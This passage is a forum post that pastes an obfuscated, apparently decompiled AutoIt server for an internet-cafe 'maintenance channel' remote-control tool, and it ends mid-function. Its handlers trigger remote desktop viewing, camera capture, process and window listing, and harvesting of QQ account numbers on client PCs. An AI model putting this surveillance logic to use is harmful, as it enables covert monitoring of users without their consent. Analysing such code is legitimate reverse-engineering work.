能力值:
( LV9,RANK:170 )
|
-
-
2 楼
#NoTrayIcon GLOBAL $OS A190030585C_ ( ) GLOBAL $A6160C0275C = A190030585C ( $OS [ 59 ] ) , $A2460E05641 = A190030585C ( $OS [ 60 ] ) , $A367000202E = A190030585C ( $OS [ 61 ] ) , $A1570203B55 = A190030585C ( $OS [ 62 ] ) , $A4F70404C51 = A190030585C ( $OS [ 63 ] ) , $A6170602417 = A190030585C ( $OS [ 64 ] ) , $A6370800D39 = A190030585C ( $OS [ 65 ] ) , $A4B70A06162 = A190030585C ( $OS [ 66 ] ) , $A0E80101D40 = A190030585C ( $OS [ 67 ] ) , $A1F80502543 = A190030585C ( $OS [ 68 ] ) , $A4280605551 = A190030585C ( $OS [ 69 ] ) , $A3080D04643 = A190030585C ( $OS [ 70 ] ) , $A2280F0005C = A190030585C ( $OS [ 71 ] ) , $A5B90004D61 = A190030585C ( $OS [ 72 ] ) , $A469020365A = A190030585C ( $OS [ 73 ] ) , $A2190301335 = A190030585C ( $OS [ 74 ] ) GLOBAL $A4D1060273F = "v" & NUMBER( FILEGETVERSION( @AUTOITEXE ) ) FUNC A0700405D59 ( BYREF $A3010701263 , $A0710804327 ) IF NOT ISDECLARED( "SSA0700405D59" ) THEN GLOBAL $A4E10901318 = A190030585C ( $OS [ 1 ] ) , $A3E10A00C5C = A190030585C ( $OS [ 2 ] ) , $A5910B0164C = A190030585C ( $OS [ 3 ] ) , $A3010D04A1A = A190030585C ( $OS [ 4 ] ) , $A2010E04A48 = A190030585C ( $OS [ 5 ] ) , $A4410F01458 = A190030585C ( $OS [ 6 ] ) , $A2A20002541 = A190030585C ( $OS [ 7 ] ) , $A272010062B = A190030585C ( $OS [ 8 ] ) , $A2720202A2F = A190030585C ( $OS [ 9 ] ) , $A222030120B = A190030585C ( $OS [ 10 ] ) , $A3520502248 = A190030585C ( $OS [ 11 ] ) , $A1620603212 = A190030585C ( $OS [ 12 ] ) , $A0F2070414D = A190030585C ( $OS [ 13 ] ) , $A342090273B = A190030585C ( $OS [ 14 ] ) , $A5A20A03215 = A190030585C ( $OS [ 15 ] ) , $A3820B01612 = A190030585C ( $OS [ 16 ] ) , $A4F20D05F17 = A190030585C ( $OS [ 17 ] ) , $A5E20E04B32 = A190030585C ( $OS [ 18 ] ) , $A4E20F0153E = A190030585C ( $OS [ 19 ] ) , $A2A30004503 = A190030585C ( $OS [ 20 ] ) , $A283010353D = A190030585C ( $OS [ 21 ] ) , $A5C30202B46 = A190030585C ( $OS [ 22 ] ) GLOBAL $SSA0700405D59 = 1 ENDIF IF NOT ISARRAY( $A3010701263 ) THEN RETURN SETERROR( NUMBER( $A4E10901318 ) , NUMBER( $A3E10A00C5C ) , NUMBER( $A5910B0164C ) ) LOCAL $A3910C04B12 = UBOUND( $A3010701263 , NUMBER( $A3010D04A1A ) ) - NUMBER( $A2010E04A48 ) IF NOT $A3910C04B12 THEN $A3010701263 = "" RETURN NUMBER( $A4410F01458 ) ENDIF IF $A0710804327 < NUMBER( $A2A20002541 ) THEN $A0710804327 = NUMBER( $A272010062B ) IF $A0710804327 > $A3910C04B12 THEN $A0710804327 = $A3910C04B12 SWITCH UBOUND( $A3010701263 , NUMBER( $A2720202A2F ) ) CASE NUMBER( $A222030120B ) FOR $A5820400425 = $A0710804327 TO $A3910C04B12 - NUMBER( $A3520502248 ) $A3010701263 [ $A5820400425 ] = $A3010701263 [ $A5820400425 + NUMBER( $A1620603212 ) ] NEXT REDIM $A3010701263 [ $A3910C04B12 ] CASE NUMBER( $A0F2070414D ) LOCAL $A5E2080510E = UBOUND( $A3010701263 , NUMBER( $A342090273B ) ) - NUMBER( $A5A20A03215 ) FOR $A5820400425 = $A0710804327 TO $A3910C04B12 - NUMBER( $A3820B01612 ) FOR $A4020C05F1E = NUMBER( $A4F20D05F17 ) TO $A5E2080510E $A3010701263 [ $A5820400425 ] [ $A4020C05F1E ] = $A3010701263 [ $A5820400425 + NUMBER( $A5E20E04B32 ) ] [ $A4020C05F1E ] NEXT NEXT REDIM $A3010701263 [ $A3910C04B12 ] [ $A5E2080510E + NUMBER( $A4E20F0153E ) ] CASE ELSE RETURN SETERROR( NUMBER( $A2A30004503 ) , NUMBER( $A283010353D ) , NUMBER( $A5C30202B46 ) ) ENDSWITCH RETURN $A3910C04B12 ENDFUNC FUNC A0100503718 ( CONST BYREF $A3010701263 , $A613030603A , $A5C3040433F = 0 , $A533050124D = 0 , $A3F3060111E = 0 , $A433070604D = 0 , $A5630805E52 = 1 , $A3A3090224A = - 1 ) IF NOT ISDECLARED( "SSA0100503718" ) THEN GLOBAL $A2730A05330 = A190030585C ( $OS [ 23 ] ) , $A5A30B02D16 = A190030585C ( $OS [ 24 ] ) , $A4530C01F31 = A190030585C ( $OS [ 25 ] ) , $A3830D06255 = A190030585C ( $OS [ 26 ] ) , $A4330E02131 = A190030585C ( $OS [ 27 ] ) , $A2630F00930 = A190030585C ( $OS [ 28 ] ) , $A3D40002D60 = A190030585C ( $OS [ 29 ] ) , $A4940102E54 = A190030585C ( $OS [ 30 ] ) , $A474020042D = A190030585C ( $OS [ 31 ] ) , $A3E40302B3B = A190030585C ( $OS [ 32 ] ) , $A2840404E24 = A190030585C ( $OS [ 33 ] ) , $A4340504906 = A190030585C ( $OS [ 34 ] ) , $A5640603463 = A190030585C ( $OS [ 35 ] ) , $A4440701A60 = A190030585C ( $OS [ 36 ] ) , $A4D40801F5B = A190030585C ( $OS [ 37 ] ) , $A414090245C = A190030585C ( $OS [ 38 ] ) , $A2640A0313C = A190030585C ( $OS [ 39 ] ) , $A4240C04631 = A190030585C ( $OS [ 40 ] ) , $A3E40E03B1A = A190030585C ( $OS [ 41 ] ) , $A5840F0545D = A190030585C ( $OS [ 42 ] ) , $A2F50002F4D = A190030585C ( $OS [ 43 ] ) , $A5A5010092B = A190030585C ( $OS [ 44 ] ) , $A2750204755 = A190030585C ( $OS [ 45 ] ) , $A195040593C = A190030585C ( $OS [ 46 ] ) , $A0850501754 = A190030585C ( $OS [ 47 ] ) , $A2A50602058 = A190030585C ( $OS [ 48 ] ) , $A2850704938 = A190030585C ( $OS [ 49 ] ) , $A4A50805739 = A190030585C ( $OS [ 50 ] ) , $A2B50902100 = A190030585C ( $OS [ 51 ] ) , $A3E50A03113 = A190030585C ( $OS [ 52 ] ) , $A2550B0451E = A190030585C ( $OS [ 53 ] ) , $A1850C01B59 = A190030585C ( $OS [ 54 ] ) , $A2F50D05340 = A190030585C ( $OS [ 55 ] ) , $A0C50E00A32 = A190030585C ( $OS [ 56 ] ) GLOBAL $SSA0100503718 = 1 ENDIF IF NOT ISARRAY( $A3010701263 ) THEN RETURN SETERROR( NUMBER( $A2730A05330 ) , NUMBER( $A5A30B02D16 ) , - NUMBER( $A4530C01F31 ) ) IF UBOUND( $A3010701263 , NUMBER( $A3830D06255 ) ) > NUMBER( $A4330E02131 ) OR UBOUND( $A3010701263 , NUMBER( $A2630F00930 ) ) < NUMBER( $A3D40002D60 ) THEN RETURN SETERROR( NUMBER( $A4940102E54 ) , NUMBER( $A474020042D ) , - NUMBER( $A3E40302B3B ) ) LOCAL $A3910C04B12 = UBOUND( $A3010701263 ) - NUMBER( $A2840404E24 ) IF $A533050124D < NUMBER( $A4340504906 ) OR $A533050124D > $A3910C04B12 THEN $A533050124D = $A3910C04B12 IF $A5C3040433F < NUMBER( $A5640603463 ) THEN $A5C3040433F = NUMBER( $A4440701A60 ) IF $A5C3040433F > $A533050124D THEN RETURN SETERROR( NUMBER( $A4D40801F5B ) , NUMBER( $A414090245C ) , - NUMBER( $A2640A0313C ) ) LOCAL $A0F40B04A16 = NUMBER( $A4240C04631 ) IF NOT $A5630805E52 THEN LOCAL $A2C40D0273C = $A5C3040433F $A5C3040433F = $A533050124D $A533050124D = $A2C40D0273C $A0F40B04A16 = - NUMBER( $A3E40E03B1A ) ENDIF SWITCH UBOUND( $A3010701263 , NUMBER( $A5840F0545D ) ) CASE NUMBER( $A2F50002F4D ) IF NOT $A433070604D THEN IF NOT $A3F3060111E THEN FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF $A3010701263 [ $A5820400425 ] = $A613030603A THEN RETURN $A5820400425 NEXT ELSE FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF $A3010701263 [ $A5820400425 ] == $A613030603A THEN RETURN $A5820400425 NEXT ENDIF ELSE FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF STRINGINSTR( $A3010701263 [ $A5820400425 ] , $A613030603A , $A3F3060111E ) > NUMBER( $A5A5010092B ) THEN RETURN $A5820400425 NEXT ENDIF CASE NUMBER( $A2750204755 ) LOCAL $A2B50302B37 = UBOUND( $A3010701263 , NUMBER( $A195040593C ) ) - NUMBER( $A0850501754 ) IF $A3A3090224A > $A2B50302B37 THEN $A3A3090224A = $A2B50302B37 IF $A3A3090224A < NUMBER( $A2A50602058 ) THEN $A3A3090224A = NUMBER( $A2850704938 ) ELSE $A2B50302B37 = $A3A3090224A ENDIF FOR $A4020C05F1E = $A3A3090224A TO $A2B50302B37 IF NOT $A433070604D THEN IF NOT $A3F3060111E THEN FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF $A3010701263 [ $A5820400425 ] [ $A4020C05F1E ] = $A613030603A THEN RETURN $A5820400425 NEXT ELSE FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF $A3010701263 [ $A5820400425 ] [ $A4020C05F1E ] == $A613030603A THEN RETURN $A5820400425 NEXT ENDIF ELSE FOR $A5820400425 = $A5C3040433F TO $A533050124D STEP $A0F40B04A16 IF STRINGINSTR( $A3010701263 [ $A5820400425 ] [ $A4020C05F1E ] , $A613030603A , $A3F3060111E ) > NUMBER( $A4A50805739 ) THEN RETURN $A5820400425 NEXT ENDIF NEXT CASE ELSE RETURN SETERROR( NUMBER( $A2B50902100 ) , NUMBER( $A3E50A03113 ) , - NUMBER( $A2550B0451E ) ) ENDSWITCH RETURN SETERROR( NUMBER( $A1850C01B59 ) , NUMBER( $A2F50D05340 ) , - NUMBER( $A0C50E00A32 ) ) ENDFUNC GLOBAL CONST $A1450F02627 = "long X;long Y" FUNC A1E00604E04 ( $A4560000A11 , $A0760103E25 , $A4160202D15 = 0 , $A4760304D52 = 0 , $A316040410B = 0 , $A356050570F = "wparam" , $A1A60604414 = "lparam" , $A276070162E = "lresult" ) IF NOT ISDECLARED( "SSA1E00604E04" ) THEN GLOBAL $A5D60900D59 = A190030585C ( $OS [ 57 ] ) , $A4160A04E27 = A190030585C ( $OS [ 58 ] ) GLOBAL $SSA1E00604E04 = 1 ENDIF LOCAL $A5E60804604 = DLLCALL( "user32.dll" , $A276070162E , "SendMessageW" , "hwnd" , $A4560000A11 , "uint" , $A0760103E25 , $A356050570F , $A4160202D15 , $A1A60604414 , $A4760304D52 ) IF @ERROR THEN RETURN SETERROR( @ERROR , @EXTENDED , "" ) IF $A316040410B >= NUMBER( $A5D60900D59 ) AND $A316040410B <= NUMBER( $A4160A04E27 ) THEN RETURN $A5E60804604 [ $A316040410B ] RETURN $A5E60804604 ENDFUNC GLOBAL CONST $A3560B05D3C = PTR( - NUMBER( $A6160C0275C ) ) GLOBAL CONST $A1860D0400B = PTR( - NUMBER( $A2460E05641 ) ) GLOBAL CONST $A3B60F02740 = NUMBER( $A367000202E ) GLOBAL CONST $A1570101B4E = NUMBER( $A1570203B55 ) GLOBAL CONST $A627030111A = NUMBER( $A4F70404C51 ) GLOBAL CONST $A2E70501152 = BITSHIFT( $A3B60F02740 , NUMBER( $A6170602417 ) ) GLOBAL CONST $A5070705333 = BITSHIFT( $A1570101B4E , NUMBER( $A6370800D39 ) ) GLOBAL CONST $A1670904942 = BITSHIFT( $A627030111A , NUMBER( $A4B70A06162 ) ) GLOBAL $A5570B00327 = @SCRIPTDIR & "\Data\Boot.dat" GLOBAL $A2170C02C43 = @SCRIPTDIR & "\Data\Ser_ClientList.dat" GLOBAL $A6170D01645 = @SCRIPTDIR & "\Data\log" IF NOT FILEEXISTS( $A6170D01645 ) THEN DIRCREATE( $A6170D01645 ) GLOBAL $A4970E05D33 = INIREAD( $A5570B00327 , "config" , "Ser_ip" , @IPADDRESS1 ) GLOBAL $A3D70F04A57 = INIREAD( $A5570B00327 , "config" , "Ser_Port" , "65435" ) GLOBAL $A5A80001A09 = $A3D70F04A57 + NUMBER( $A0E80101D40 ) GLOBAL $A3E80201A2D GLOBAL $A2880300F3F = @SCRIPTDIR & "\Data\MsgSynFile.Tmp" GLOBAL $A3D80405303 [ NUMBER( $A1F80502543 ) ] [ NUMBER( $A4280605551 ) ] GLOBAL $A5E8070130A = @SCRIPTDIR & "\维护通道" GLOBAL $A5780804219 = @SCRIPTDIR & "\墙纸文件" IF NOT FILEEXISTS( $A5E8070130A ) THEN DIRCREATE( $A5E8070130A ) IF NOT FILEEXISTS( $A5780804219 ) THEN DIRCREATE( $A5780804219 ) GLOBAL $A3680901B19 = INIREAD( $A5570B00327 , "config" , "TCPLogFlag" , "" ) GLOBAL $A0980A04133 = INIREAD( $A5570B00327 , "config" , "TcpLog2File" , "" ) GLOBAL $A0080B0075B = @SCRIPTDIR & "\data\S_remote.a3x" $A4D80C00B20 = "深蓝网吧维护通道核心程序" IF WINEXISTS( $A4D80C00B20 ) THEN EXIT ENDIF AUTOITWINSETTITLE( $A4D80C00B20 ) GUICREATE( "DBNT_Core_Process_Msg_Title" ) GUIREGISTERMSG( NUMBER( $A3080D04643 ) , "A0A00C0225F" ) TCPSTARTUP( ) GLOBAL $A0580E02736 = - NUMBER( $A2280F0005C ) GLOBAL $A3E80201A2D = TCPLISTEN( $A4970E05D33 , $A3D70F04A57 ) IF $A3E80201A2D = - NUMBER( $A5B90004D61 ) THEN A2300B04663 ( "_DBNT_StartFailed{spl}TcpListen" ) ELSE A2300B04663 ( "_DBNT_Startok{spl}" ) ENDIF GLOBAL $A4E90105763 = NUMBER( $A469020365A ) ADLIBREGISTER( "A4A00D00E3A" , $A4E90105763 ) ONAUTOITEXITREGISTER( "A0A10504343" ) WHILE NUMBER( $A2190301335 ) $A0690404D1D = GUIGETMSG( ) WEND FUNC A000070264D ( $A5A90501406 ) IF NOT ISDECLARED( "SSA000070264D" ) THEN GLOBAL $A0E90703F42 = A190030585C ( $OS [ 75 ] ) , $A3B90805E4D = A190030585C ( $OS [ 76 ] ) , $A1E9090571F = A190030585C ( $OS [ 77 ] ) , $A5B90A05407 = A190030585C ( $OS [ 78 ] ) , $A0E90B04130 = A190030585C ( $OS [ 79 ] ) GLOBAL $SSA000070264D = 1 ENDIF $A3190602E5E = STRINGSPLIT( $A5A90501406 , "{spl}" , NUMBER( $A0E90703F42 ) ) IF @ERROR THEN RETURN - NUMBER( $A3B90805E4D ) SWITCH $A3190602E5E [ NUMBER( $A1E9090571F ) ] CASE "_GUI_GetOniArr" A4600A00144 ( ) CASE "_GUI_StopSer" A2300B04663 ( "_GUI_GetOniArr{spl}" ) EXIT CASE "_GUI_AllCliExit" A3600800A21 ( ) CASE "_GUI_Remote" A1C00901634 ( $A3190602E5E [ NUMBER( $A5B90A05407 ) ] , $A3190602E5E [ NUMBER( $A0E90B04130 ) ] ) ENDSWITCH ENDFUNC FUNC A3600800A21 ( ) IF NOT ISDECLARED( "SSA3600800A21" ) THEN GLOBAL $A0D90C00319 = A190030585C ( $OS [ 80 ] ) , $A3190D05C58 = A190030585C ( $OS [ 81 ] ) , $A2990F01B24 = A190030585C ( $OS [ 82 ] ) , $A5FA000155A = A190030585C ( $OS [ 83 ] ) GLOBAL $SSA3600800A21 = 1 ENDIF FOR $A5820400425 = NUMBER( $A0D90C00319 ) TO UBOUND( $A3D80405303 ) - NUMBER( $A3190D05C58 ) $A4990E00262 = "_SerCmd{*|*}exit" TCPSEND( $A3D80405303 [ $A5820400425 ] [ NUMBER( $A2990F01B24 ) ] , STRINGTOBINARY( $A4990E00262 , NUMBER( $A5FA000155A ) ) ) NEXT ENDFUNC FUNC A1C00901634 ( $A52A0101646 , $A4990E00262 ) IF NOT ISDECLARED( "SSA1C00901634" ) THEN GLOBAL $A18A0305743 = A190030585C ( $OS [ 84 ] ) , $A40A040172D = A190030585C ( $OS [ 85 ] ) GLOBAL $SSA1C00901634 = 1 ENDIF $A46A0204417 = A0100503718 ( $A3D80405303 , $A52A0101646 ) IF @ERROR THEN ELSE TCPSEND( $A3D80405303 [ $A46A0204417 ] [ NUMBER( $A18A0305743 ) ] , STRINGTOBINARY( $A4990E00262 , NUMBER( $A40A040172D ) ) ) ENDIF ENDFUNC FUNC A4600A00144 ( ) IF NOT ISDECLARED( "SSA4600A00144" ) THEN GLOBAL $A40A0605F2A = A190030585C ( $OS [ 86 ] ) , $A2FA0702705 = A190030585C ( $OS [ 87 ] ) , $A1CA0803E39 = A190030585C ( $OS [ 88 ] ) , $A48A0903C5B = A190030585C ( $OS [ 89 ] ) GLOBAL $SSA4600A00144 = 1 ENDIF LOCAL $A3FA0500043 = "" IF $A3E80201A2D = - NUMBER( $A40A0605F2A ) THEN A2300B04663 ( "_DBNT_StartFailed{spl}TcpListen" ) ELSE FOR $A5820400425 = NUMBER( $A2FA0702705 ) TO UBOUND( $A3D80405303 ) - NUMBER( $A1CA0803E39 ) $A3FA0500043 &= $A3D80405303 [ $A5820400425 ] [ NUMBER( $A48A0903C5B ) ] & "|" NEXT IF FILEEXISTS( $A2880300F3F ) THEN FILEDELETE( $A2880300F3F ) FILEWRITE( $A2880300F3F , $A3FA0500043 ) A2300B04663 ( "_DBNT_MsgSynFileok{spl}" ) ENDIF ENDFUNC FUNC A2300B04663 ( $A55A0A0142F ) IF NOT ISDECLARED( "SSA2300B04663" ) THEN GLOBAL $A04A0C00B52 = A190030585C ( $OS [ 90 ] ) , $A0CA0F02623 = A190030585C ( $OS [ 91 ] ) , $A4FB0003C04 = A190030585C ( $OS [ 92 ] ) , $A2BB0100326 = A190030585C ( $OS [ 93 ] ) , $A46B0202600 = A190030585C ( $OS [ 94 ] ) , $A2AB0301E37 = A190030585C ( $OS [ 95 ] ) , $A0BB0500321 = A190030585C ( $OS [ 96 ] ) , $A37B060511D = A190030585C ( $OS [ 97 ] ) GLOBAL $SSA2300B04663 = 1 ENDIF $A4560000A11 = WINGETHANDLE( "DBNT_GUI_Process_Msg_Title" ) $A13A0B00729 = DLLSTRUCTCREATE( "wchar var1[1000]" ) DLLSTRUCTSETDATA( $A13A0B00729 , NUMBER( $A04A0C00B52 ) , $A55A0A0142F ) $A45A0D0415C = DLLSTRUCTGETPTR( $A13A0B00729 ) $A4FA0E01358 = DLLSTRUCTCREATE( "dword;dword;ptr" ) DLLSTRUCTSETDATA( $A4FA0E01358 , NUMBER( $A0CA0F02623 ) , NUMBER( $A4FB0003C04 ) ) DLLSTRUCTSETDATA( $A4FA0E01358 , NUMBER( $A2BB0100326 ) , NUMBER( $A46B0202600 ) ) DLLSTRUCTSETDATA( $A4FA0E01358 , NUMBER( $A2AB0301E37 ) , $A45A0D0415C ) $A3EB0401F38 = DLLSTRUCTGETPTR( $A4FA0E01358 ) A1E00604E04 ( $A4560000A11 , NUMBER( $A0BB0500321 ) , NUMBER( $A37B060511D ) , $A3EB0401F38 ) ENDFUNC FUNC A0A00C0225F ( $A4560000A11 , $A0760103E25 , $A0EB0701F1E , $A48B0805E5E ) IF NOT ISDECLARED( "SSA0A00C0225F" ) THEN GLOBAL $A2AB0B02659 = A190030585C ( $OS [ 98 ] ) , $A45B0E03E44 = A190030585C ( $OS [ 99 ] ) GLOBAL $SSA0A00C0225F = 1 ENDIF $A06B090000D = DLLSTRUCTCREATE( "dword var1;dword var2;ptr var3" , $A48B0805E5E ) $A10B0A03E06 = DLLSTRUCTGETDATA( $A06B090000D , NUMBER( $A2AB0B02659 ) ) $A2CB0C0632C = DLLSTRUCTCREATE( "wchar var1[1000]" , $A10B0A03E06 ) $A12B0D02C01 = DLLSTRUCTGETDATA( $A2CB0C0632C , NUMBER( $A45B0E03E44 ) ) A000070264D ( $A12B0D02C01 ) ENDFUNC FUNC A4A00D00E3A ( ) $A0AB0F01F5C = TIMERINIT( ) ADLIBUNREGISTER( "A4A00D00E3A" ) A5810205829 ( ) A611030013E ( ) A2400E01010 ( ) ADLIBREGISTER( "A4A00D00E3A" , $A4E90105763 ) ENDFUNC FUNC A2400E01010 ( ) IF NOT ISDECLARED( "SSA2400E01010" ) THEN GLOBAL $A32C010372B = A190030585C ( $OS [ 100 ] ) , $A48C0201703 = A190030585C ( $OS [ 101 ] ) , $A51C0302E36 = A190030585C ( $OS [ 102 ] ) , $A1EC040571D = A190030585C ( $OS [ 103 ] ) , $A2AC050000D = A190030585C ( $OS [ 104 ] ) , $A56C0603904 = A190030585C ( $OS [ 105 ] ) , $A2CC0704F5B = A190030585C ( $OS [ 106 ] ) GLOBAL $SSA2400E01010 = 1 ENDIF LOCAL $A0DC0001420 IF UBOUND( $A3D80405303 ) > NUMBER( $A32C010372B ) THEN FOR $A5820400425 = NUMBER( $A48C0201703 ) TO UBOUND( $A3D80405303 ) - NUMBER( $A51C0302E36 ) $A0DC0001420 = TCPRECV( $A3D80405303 [ $A5820400425 ] [ NUMBER( $A1EC040571D ) ] , NUMBER( $A2AC050000D ) , NUMBER( $A56C0603904 ) ) IF NOT @ERROR AND $A0DC0001420 <> "" THEN A2400F00716 ( $A3D80405303 [ $A5820400425 ] [ NUMBER( $A2CC0704F5B ) ] , $A0DC0001420 ) ELSE ENDIF NEXT ENDIF ENDFUNC FUNC A2400F00716 ( $A15C0804361 , $A41C090185A ) IF NOT ISDECLARED( "SSA2400F00716" ) THEN GLOBAL $A2AC0B00913 = A190030585C ( $OS [ 107 ] ) , $A5AC0D05357 = A190030585C ( $OS [ 108 ] ) , $A51C0E0063C = A190030585C ( $OS [ 109 ] ) , $A52C0F04348 = A190030585C ( $OS [ 110 ] ) , $A50D0003111 = A190030585C ( $OS [ 111 ] ) , $A0BD0103253 = A190030585C ( $OS [ 112 ] ) , $A15D030415E = A190030585C ( $OS [ 113 ] ) , $A16D040232F = A190030585C ( $OS [ 114 ] ) , $A26D0603A11 = A190030585C ( $OS [ 115 ] ) , $A2BD0705C20 = A190030585C ( $OS [ 116 ] ) , $A10D0805061 = A190030585C ( $OS [ 117 ] ) , $A50D0903745 = A190030585C ( $OS [ 118 ] ) , $A17D0A01C31 = A190030585C ( $OS [ 119 ] ) , $A1CD0C01A50 = A190030585C ( $OS [ 120 ] ) , $A3ED0D00752 = A190030585C ( $OS [ 121 ] ) , $A4AD0E05A40 = A190030585C ( $OS [ 122 ] ) , $A34D0F0402E = A190030585C ( $OS [ 123 ] ) , $A08E0105819 = A190030585C ( $OS [ 124 ] ) , $A18E0202536 = A190030585C ( $OS [ 125 ] ) , $A3AE0402058 = A190030585C ( $OS [ 126 ] ) , $A61E0501736 = A190030585C ( $OS [ 127 ] ) , $A4FE0601F61 = A190030585C ( $OS [ 128 ] ) , $A3FE0703344 = A190030585C ( $OS [ 129 ] ) , $A29E080305B = A190030585C ( $OS [ 130 ] ) , $A24E0902509 = A190030585C ( $OS [ 131 ] ) , $A54E0A00502 = A190030585C ( $OS [ 132 ] ) , $A00E0B03F05 = A190030585C ( $OS [ 133 ] ) , $A50E0C05E0B = A190030585C ( $OS [ 134 ] ) , $A54E0D05D46 = A190030585C ( $OS [ 135 ] ) , $A5BE0E04F2B = A190030585C ( $OS [ 136 ] ) , $A27E0F00A22 = A190030585C ( $OS [ 137 ] ) , $A5CF0000F32 = A190030585C ( $OS [ 138 ] ) , $A02F010354A = A190030585C ( $OS [ 139 ] ) , $A37F0201F0C = A190030585C ( $OS [ 140 ] ) , $A02F0305D3D = A190030585C ( $OS [ 141 ] ) , $A55F0404963 = A190030585C ( $OS [ 142 ] ) , $A2FF0504855 = A190030585C ( $OS [ 143 ] ) , $A14F0604C37 = A190030585C ( $OS [ 144 ] ) , $A4AF0702F3F = A190030585C ( $OS [ 145 ] ) , $A19F0801A5E = A190030585C ( $OS [ 146 ] ) , $A30F0901A1C = A190030585C ( $OS [ 147 ] ) , $A61F0A02D2E = A190030585C ( $OS [ 148 ] ) , $A34F0B00B01 = A190030585C ( $OS [ 149 ] ) GLOBAL $SSA2400F00716 = 1 ENDIF LOCAL $A5FC0A02A11 = BINARYTOSTRING( $A41C090185A , NUMBER( $A2AC0B00913 ) ) LOCAL $A4EC0C0265F = STRINGSPLIT( $A5FC0A02A11 , "{*end*}" , NUMBER( $A5AC0D05357 ) ) FOR $A5820400425 = NUMBER( $A51C0E0063C ) TO $A4EC0C0265F [ NUMBER( $A52C0F04348 ) ] - NUMBER( $A50D0003111 ) SWITCH STRINGLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A0BD0103253 ) ) CASE "{*LogMsg*}" A041010480B ( $A15C0804361 ) CASE "{*OniMsg*}" $A5CD020263D = STRINGSPLIT( STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A15D030415E ) ) , "|" , NUMBER( $A16D040232F ) ) IF NOT @ERROR THEN $A5CD0503722 = @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC INIWRITE( $A2170C02C43 , "client" , $A5CD020263D [ NUMBER( $A26D0603A11 ) ] , $A5CD020263D [ NUMBER( $A2BD0705C20 ) ] & "|" & $A5CD020263D [ NUMBER( $A10D0805061 ) ] & "|" & $A5CD0503722 ) A2300B04663 ( "_DBNT_NewCli{spl}" & UBOUND( $A3D80405303 ) - NUMBER( $A50D0903745 ) & "{spl}" & STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A17D0A01C31 ) ) ) $A49D0B05232 = INIREAD( $A5570B00327 , "clicon" , "SynTimeFlag" , NUMBER( $A1CD0C01A50 ) ) IF $A49D0B05232 = NUMBER( $A3ED0D00752 ) THEN TCPSEND( $A15C0804361 , STRINGTOBINARY( "_SysTime{*|*}" & $A5CD0503722 , NUMBER( $A4AD0E05A40 ) ) ) ENDIF CASE "{*LogTcp*}" IF $A3680901B19 = NUMBER( $A34D0F0402E ) THEN $A2FE0005B5F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A08E0105819 ) ) A2300B04663 ( "_DBNT_LogTCP{spl}" & $A2FE0005B5F ) IF $A0980A04133 = NUMBER( $A18E0202536 ) THEN A301000452D ( $A2FE0005B5F ) ENDIF ENDIF CASE "{*deskto*}" $A13E0300F1F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A3AE0402058 ) ) $A13E0300F1F = STRINGSPLIT( $A13E0300F1F , "|" ) RUN( @AUTOITEXE & " /AutoIt3ExecuteScript "" & $A0080B0075B & "" " & $A13E0300F1F [ NUMBER( $A61E0501736 ) ] & " " & $A13E0300F1F [ NUMBER( $A4FE0601F61 ) ] & " DeskTop " & $A13E0300F1F [ NUMBER( $A3FE0703344 ) ] & " " & $A13E0300F1F [ NUMBER( $A29E080305B ) ] & " " & $A13E0300F1F [ NUMBER( $A24E0902509 ) ] ) CASE "{*Camera*}" $A13E0300F1F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A54E0A00502 ) ) $A13E0300F1F = STRINGSPLIT( $A13E0300F1F , "|" ) RUN( @AUTOITEXE & " /AutoIt3ExecuteScript "" & $A0080B0075B & "" " & $A13E0300F1F [ NUMBER( $A00E0B03F05 ) ] & " " & $A13E0300F1F [ NUMBER( $A50E0C05E0B ) ] & " Camera " & $A13E0300F1F [ NUMBER( $A54E0D05D46 ) ] & " " & $A13E0300F1F [ NUMBER( $A5BE0E04F2B ) ] & " " & $A13E0300F1F [ NUMBER( $A27E0F00A22 ) ] ) CASE "{*Proces*}" $A13E0300F1F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A5CF0000F32 ) ) $A13E0300F1F = STRINGSPLIT( $A13E0300F1F , "|" ) RUN( @AUTOITEXE & " /AutoIt3ExecuteScript "" & $A0080B0075B & "" " & $A13E0300F1F [ NUMBER( $A02F010354A ) ] & " " & $A13E0300F1F [ NUMBER( $A37F0201F0C ) ] & " Proces " & " " & $A13E0300F1F [ NUMBER( $A02F0305D3D ) ] ) CASE "{*qqnumb*}" $A13E0300F1F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A55F0404963 ) ) $A13E0300F1F = STRINGSPLIT( $A13E0300F1F , "|" ) RUN( @AUTOITEXE & " /AutoIt3ExecuteScript "" & $A0080B0075B & "" " & $A13E0300F1F [ NUMBER( $A2FF0504855 ) ] & " " & $A13E0300F1F [ NUMBER( $A14F0604C37 ) ] & " qqnumb " & " " & $A13E0300F1F [ NUMBER( $A4AF0702F3F ) ] ) CASE "{*Winlis*}" $A13E0300F1F = STRINGTRIMLEFT( $A4EC0C0265F [ $A5820400425 ] , NUMBER( $A19F0801A5E ) ) $A13E0300F1F = STRINGSPLIT( $A13E0300F1F , "|" ) RUN( @AUTOITEXE & " /AutoIt3ExecuteScript "" & $A0080B0075B & "" " & $A13E0300F1F [ NUMBER( $A30F0901A1C ) ] & " " & $A13E0300F1F [ NUMBER( $A61F0A02D2E ) ] & " Winlis " & " " & $A13E0300F1F [ NUMBER( $A34F0B00B01 ) ] ) ENDSWITCH NEXT ENDFUNC FUNC A301000452D ( $A54F0C05017 ) $A14F0D01D47 = $A6170D01645 & "\" & @YEAR & "_" & @MON & @MDAY & ".log" FILEWRITELINE( $A14F0D01D47 , @YEAR & "_" & @MON & @MDAY & "_" & @HOUR & @MIN & @SEC & ": {splLog}" & $A54F0C05017 ) 